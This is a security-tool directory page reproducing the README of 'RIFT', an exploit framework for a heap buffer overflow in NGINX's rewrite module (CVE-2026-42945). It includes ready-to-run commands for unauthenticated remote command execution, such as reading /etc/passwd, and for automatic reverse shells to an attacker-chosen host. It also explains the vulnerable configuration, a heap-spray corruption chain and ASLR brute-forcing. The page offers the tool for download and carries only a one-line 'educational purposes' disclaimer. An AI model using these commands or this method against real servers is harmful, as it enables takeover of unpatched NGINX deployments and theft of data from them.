Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/aratane/cve-2026-42945
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlLearning & EducationPayload DevelopmentBinary Exploitation

About

A flaw was found in NGINX, specifically within the ngx_http_rewrite_module. An unauthenticated attacker can exploit this vulnerability by sending crafted HTTP requests under specific rewrite configurations. This can lead to a heap buffer overflow in the NGINX worker process, which may result in arbitrary code execution

GitHubaratane/cve-2026-42945

CVE-2026-42945

View Repository
1404 months agoNot yet reviewed
Share

RIFT — Remote Injection & Fault Trigger

Author: Michael Sanji Winaya Prawiradibrata
AI Co-Author: Varanus — my friend

Heap buffer overflow exploit framework targeting NGINX's ngx_http_rewrite_module.
Satu tool untuk reconnaissance + exploitation. Zero external dependencies.


Repo Contents

FileDescription
rift.pyMain tool. Combined recon + exploit in one script (1026 lines).
README.mdThis documentation.

Requirements

  • Python 3.6+ (stdlib only — no pip, no venv, no dependencies)

Quick Start

# 1. Full reconnaissance — deteksi versi, endpoint, celah, strategi
python3 rift.py --target 10.10.10.10 --recon

# 2. Recon + exploit sekali jalan
python3 rift.py --target 10.10.10.10 --auto --cmd "id"

# 3. Command execution
python3 rift.py --target 10.10.10.10 --cmd "whoami"

# 4. Reverse shell (auto-open listener)
python3 rift.py --target 10.10.10.10 --shell --lhost 10.10.14.5 --lport 4444

# 5. Reverse shell pakai bash (instead of python)
python3 rift.py --target 10.10.10.10 --shell --shell-type bash --lhost 10.10.14.5 --lport 4444

# 6. Cek vulnerable saja
python3 rift.py --target 10.10.10.10 --check-only

All Flags

Usage Modes

FlagFunction
--reconFull reconnaissance. Fingerprint → info leak → endpoint test → worker count → strategy.
--autoRecon + automatic exploit. Same as --recon then continue to exploit.
--check-onlyQuick check. Detect NGINX, version, /api/ endpoint.
--cmd "command"Execute a single command via system().
--shellReverse shell — auto open listener, send payload, accept connection.

Exploit Options

FlagDefaultFunction
--port80Target port
--lhost—Local IP for reverse shell (required if using --shell)
--lport4444Local port for listener
--shell-typepythonReverse shell payload: python, bash, nc, php
--heap-base0x555555659000Heap base address (override for ASLR bypass)
--libc-base0x7ffff77ba000libc base address
--tries10Attempts per candidate address
--verbose / -v—Detailed output per attempt

Recon Options

FlagFunction
--fingerprintDetect NGINX version, endpoints, rewrite module
--leakCheck information leak (memory address in error page, timing)
--test-endpointTest endpoint behaviour with various payloads
--endpointEndpoint path to test (default: /api/)
--generate-exploitGenerate a custom exploit script with target addresses
--output jsonJSON output (machine-readable) alongside terminal output

Key Features

✅ Auto Reverse Shell

Saat pakai --shell, script otomatis:

  1. Generate payload reverse shell sesuai --shell-type
  2. Buka listener di --lport
  3. Kirim exploit
  4. Begitu worker crash → shell masuk
  5. Listener otomatis: Prioritaskan netcat (nc -lvnp), fallback Python listener

✅ Automatic ASLR Brute Force

If the default address fails, the script automatically shifts the heap base by ±5 steps × 0x10000, searching for a matching address. No manual setting needed.

✅ Multi-Payload Reverse Shell

4 types of shell payloads — python, bash, nc, php. Choose whichever is available on the target.

✅ Full Reconnaissance

--recon runs 5 phases:

  1. Fingerprint — detect NGINX version, 15 common endpoints, rewrite module
  2. Info leak — memory address in error page, timing side channel
  3. Endpoint test — endpoint behaviour with 6 types of payloads
  4. Worker count — estimate the number of worker processes from latency patterns
  5. Strategy — action recommendations based on analysis results

✅ JSON Output

--output json for integration with other tools or automatic parsing.


Vulnerable Configuration

The exploit target is NGINX with a rewrite + set configuration like this:

location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;  # is_args = 1
    set $original_endpoint $1;                     # length calc pake is_args = 0
}

As a result: the allocated buffer is too small, URI escaping (3× expansion) overflows.

Affected Versions

  • NGINX Open Source: 0.6.27 – 1.30.0
  • NGINX Plus: R32 – R36
  • Fixed: 1.31.0, 1.30.1, R36 P4+, R35 P2+, R32 P6+

How the Exploit Works

1. HEAP SPRAY ─── POST /spray × 20 → tanam fake ngx_pool_cleanup_s di heap
2. TRIGGER ────── GET /api/AAAA...++++... → overflow via URI escaping
3. CORRUPT ────── Overflow tulis ulang cleanup pointer pool adjacent
4. EXEC ───────── Pool destroyed → panggil system("command")

Important Constants (can be changed in rift.py)

ConstantDefaultArti
BODY_LEN4000Ukuran spray body (bytes)
N_SPRAY20Jumlah POST request per attempt
LIBC_SYSTEM_OFFSETS7 entriesOffset system() untuk berbagai distro
PREREAD_HEAP_OFFSETS19 entriesKandidat offset heap
DEFAULT_HEAP_BASE0x555555659000Heap base (ASLR off)
DEFAULT_LIBC_BASE0x7ffff77ba000Libc base (ASLR off)

Complete Example

Command Execution + Verbose

python3 rift.py --target 10.10.10.10 --cmd "cat /etc/passwd" --verbose

Custom Address (ASLR bypass)

python3 rift.py --target 10.10.10.10 \
    --cmd "id" \
    --heap-base 0x555555659000 \
    --libc-base 0x7ffff77ba000

Multiple Attempts

python3 rift.py --target 10.10.10.10 --cmd "id" --tries 50

Recon + JSON

python3 rift.py --target 10.10.10.10 --recon --output json

Generate Exploit Script

python3 rift.py --target 10.10.10.10 --generate-exploit
# → exploit_10_10_10_10.py

Troubleshooting

"Target doesn't appear to be running NGINX"

  • Check the port: nc -zv <IP> 80
  • Try another port: --port 8080, --port 443
  • It may be behind a WAF/proxy

"All exploitation attempts failed"

  1. ASLR may be active — try --auto for automatic ASLR sliding
  2. The NGINX version may already be patched (> 1.30.1)
  3. The NGINX configuration may not be vulnerable (doesn't use rewrite+set)
  4. Try --verbose to see details per attempt

Shell doesn't connect

  • Check the local firewall: sudo ufw allow 4444
  • Check --lhost — make sure the local IP is correct
  • Try --shell-type bash or --shell-type nc

Disclaimer

Created for educational purposes and authorized security testing only.
Use against systems without permission is illegal.

© 2026 Michael Sanji Winaya Prawiradibrata
AI co-author: Varanus

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    593
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    371
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    336
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    326
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    322

Explore all tools

Browse our collection of tools

View all tools →